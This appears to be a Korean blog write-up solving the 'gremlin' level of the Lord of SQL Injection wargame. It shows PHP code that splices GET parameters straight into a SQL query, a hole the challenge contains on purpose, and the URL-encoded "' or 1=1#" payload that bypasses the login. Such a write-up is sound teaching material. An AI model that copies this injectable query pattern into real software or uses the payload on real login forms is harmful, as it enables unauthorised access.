아래와 같이 SQL Injection 문제가 주어졌다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
인증만 우회하면 될 것으로 보여,
ID: gremlin
PW: %27%20or%201=1%23
위와 같이 Request를 하여 Clear을 하였다.
'WarGame or CTF > Wargame' 카테고리의 다른 글
[Lord of SQL Injection] goblin (0) | 2019.10.07 |
---|---|
[Lord of SQL Injection] cobolt (0) | 2019.10.07 |
[ctf.j0n9hyun.xyz] 보물 (0) | 2019.06.24 |
[ctf.j0n9hyun.xyz] Hash (0) | 2019.06.24 |
[ctf.j0n9hyun.xyz] Button (0) | 2019.06.24 |